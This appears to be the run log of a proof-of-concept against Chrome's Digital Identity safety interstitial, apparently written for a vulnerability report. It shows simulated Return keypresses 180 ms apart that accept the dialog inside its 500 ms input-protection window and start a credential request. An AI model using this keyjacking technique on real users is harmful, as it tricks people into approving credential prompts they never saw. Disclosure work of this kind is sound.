[*] starting POC HTTP server [*] launching Chrome (profile=/tmp/di-keyjack.RmI2gR) -> http://localhost:18347/poc.html [victim] looking for Chrome window (profile='/tmp/di-keyjack.RmI2gR')… [victim] found window 0x4e00004; waiting for page load… [victim] sending 14 Return presses, 180 ms apart (well inside the 500 ms input-protection window) [victim] Return #1 @ 485457.025 [victim] Return #2 @ 485457.226 [victim] Return #3 @ 485457.426 [victim] Return #4 @ 485457.627 [victim] Return #5 @ 485457.828 [victim] Return #6 @ 485458.028 [victim] Return #7 @ 485458.229 [victim] Return #8 @ 485458.430 [victim] Return #9 @ 485458.630 [victim] Return #10 @ 485458.832 [victim] Return #11 @ 485459.032 [victim] Return #12 @ 485459.233 [victim] Return #13 @ 485459.433 [victim] Return #14 @ 485459.635 ================ POC log lines ================ [2890:2890:0518/010438.091181:INFO:CONSOLE:49] "ready - waiting for victim keystrokes", source: http://localhost:18347/poc.html (49) [2890:2890:0518/010438.092351:INFO:CONSOLE:94] "Autofocus processing was blocked because a document already has a focused element.", source: http://localhost:18347/poc.html (94) [2890:2890:0518/010440.332004:INFO:CONSOLE:49] "first keydown (Enter) -> navigator.credentials.get({digital})", source: http://localhost:18347/poc.html (49) [2890:2890:0518/010440.347492:ERROR:chrome/browser/ui/views/digital_credentials/digital_identity_safety_interstitial_controller_desktop.cc:178] POC|DigitalIdentityInterstitial: SHOWN aborted=0 initially_focused=kContinueButtonId(OK) widget=0x7b91daa67880 [2890:2890:0518/010440.528725:ERROR:ui/views/window/dialog_client_view.cc:404] POC|DialogClientView::ButtonPressed type=1 (1=kOk) event_is_key=1 ShouldAllowKeyEventsDuringInputProtection=1 [2890:2890:0518/010440.528789:ERROR:ui/views/input_event_activation_protector.cc:62] POC|InputProtector: key-event allow_key_events=1 is_key=1 since_protected=179ms -> BYPASS time-gate, return false [2890:2890:0518/010440.528808:ERROR:ui/views/window/dialog_client_view.cc:414] POC|DialogClientView::ButtonPressed -> dispatching [2890:2890:0518/010440.528833:ERROR:chrome/browser/ui/views/digital_credentials/digital_identity_safety_interstitial_controller_desktop.cc:200] POC|DigitalIdentityInterstitial: CLOSED reason=1 (1=kOkButton) shown_for=181ms <<< KEYJACKED: accepted inside 500ms protection window [2890:2890:0518/010440.528886:ERROR:content/browser/digital_credentials/digital_identity_request_impl.cc:652] POC|DigitalIdentityRequestImpl::OnInterstitialDone status=0 (0=kSuccess) -> launching provider_->Get() (caBLE/QR flow) [2890:2890:0518/010440.542246:INFO:CONSOLE:49] "credential rejected: NetworkError: Error retrieving a token.", source: http://localhost:18347/poc.html (49) =============================================== [*] full Chrome stderr saved to /poc-artifacts/chrome_stderr.log rm: cannot remove '/tmp/di-keyjack.RmI2gR/Default': Directory not empty